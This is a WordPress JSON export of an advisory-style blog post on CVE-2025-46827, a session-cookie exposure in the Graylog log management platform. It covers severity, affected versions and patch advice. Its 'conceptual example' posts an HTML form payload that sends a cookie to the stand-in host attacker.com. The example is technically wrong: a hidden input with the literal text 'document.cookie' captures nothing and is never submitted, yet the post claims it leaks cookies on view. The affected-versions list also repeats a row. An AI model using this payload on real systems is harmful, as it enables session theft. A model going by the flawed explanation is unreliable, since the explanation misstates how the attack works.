{"id":39626,"date":"2025-05-18T11:26:25","date_gmt":"2025-05-18T11:26:25","guid":{"rendered":""},"modified":"2025-09-05T10:19:46","modified_gmt":"2025-09-05T16:19:46","slug":"cve-2025-46827-graylog-open-log-management-platform-user-session-cookie-exposure","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-46827-graylog-open-log-management-platform-user-session-cookie-exposure\/","title":{"rendered":"<strong>CVE-2025-46827: Graylog Open Log Management Platform User Session Cookie Exposure<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the intricate world of cybersecurity, the open log management system, Graylog, has recently been exposed to a vulnerability, identified as CVE-2025-46827. Primarily designed to provide a centralized and searchable log database, Graylog has become a staple in many organizations&#8217; security systems. This vulnerability, however, poses significant security risks, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29972-server-side-request-forgery-vulnerability-in-azure-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"44781\">potentially compromising the system or leading<\/a> to data leakage. It affects users with permissions to create event definitions, provided there is an active Input on the server capable of receiving <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-3604-data-validation-vulnerability-in-contact-form-entries-wordpress-plugin\/\"  data-wpil-monitor-id=\"52184\">form data<\/a>.<br \/>\nThe importance of this vulnerability is underscored by its potential to expose sensitive <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26844-critical-cookie-handling-vulnerability-in-znuny\/\"  data-wpil-monitor-id=\"45526\">user session<\/a> cookies, which could then be exploited by malicious actors to assume the identities of legitimate users. With a CVSS Severity Score of 8.0, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31637-high-risk-sql-injection-vulnerability-in-lambertgroup-shout\/\"  data-wpil-monitor-id=\"51891\">vulnerability is considered high risk<\/a> and should be addressed promptly.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-46827<br \/>\nSeverity: High (8.0 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39401-unrestricted-file-upload-leading-to-potential-system-compromise-in-mojoomla-wpams\/\"  data-wpil-monitor-id=\"52185\">System compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-717393121\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Graylog | Up to version 6.0.13<br \/>\nGraylog | Up to version 6.1.9<br \/>\nGraylog | Up to version 6.1.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31914-critical-sql-injection-vulnerability-in-pixel-wordpress-form-builder-plugin-autoresponder\/\"  data-wpil-monitor-id=\"54807\">vulnerability arises from the ability to submit an HTML form<\/a> as part of an Event Definition Remediation Step field. An attacker with permissions to create event definitions can exploit this weakness to obtain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40566-severe-user-session-vulnerability-in-simatic-pcs-neo-products\/\"  data-wpil-monitor-id=\"48842\">user session<\/a> cookies. The attacker must also have an active Input on the Graylog <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49759-sql-injection-vulnerability-in-sql-server-potentially-enabling-privilege-escalation-and-data-leakage\/\"  data-wpil-monitor-id=\"79212\">server that can receive form data<\/a>, such as a HTTP input, TCP raw, or syslog.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-71584468\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/event_definition HTTP\/1.1\nHost: graylog.example.com\nContent-Type: application\/x-www-form-urlencoded\nevent_definition={ &quot;remediation&quot;: &quot;&lt;form action=&#039;http:\/\/attacker.com\/capture.php&#039; method=&#039;post&#039;&gt;&lt;input type=&#039;hidden&#039; name=&#039;cookie&#039; value=&#039;document.cookie&#039;&gt;&lt;\/form&gt;&quot; }<\/code><\/pre>\n<p>In this conceptual example, an attacker submits an HTML form as part of an event definition. The form quietly sends the user&#8217;s <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47275-session-cookie-vulnerability-in-auth0-php-sdk\/\"  data-wpil-monitor-id=\"50453\">session cookies<\/a> to the attacker&#8217;s server whenever it is viewed.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are strongly advised to apply the vendor patch as soon as possible. For versions 6.0.14, 6.1.10, and 6.2.0, the issue has been resolved. If unable to apply the patch immediately, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block suspicious activities, reducing the chance of successful exploitation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the intricate world of cybersecurity, the open log management system, Graylog, has recently been exposed to a vulnerability, identified as CVE-2025-46827. Primarily designed to provide a centralized and searchable log database, Graylog has become a staple in many organizations&#8217; security systems. This vulnerability, however, poses significant security risks, potentially compromising the system or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-39626","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/39626","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=39626"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/39626\/revisions"}],"predecessor-version":[{"id":71622,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/39626\/revisions\/71622"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=39626"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=39626"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=39626"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=39626"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=39626"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=39626"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=39626"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=39626"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=39626"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}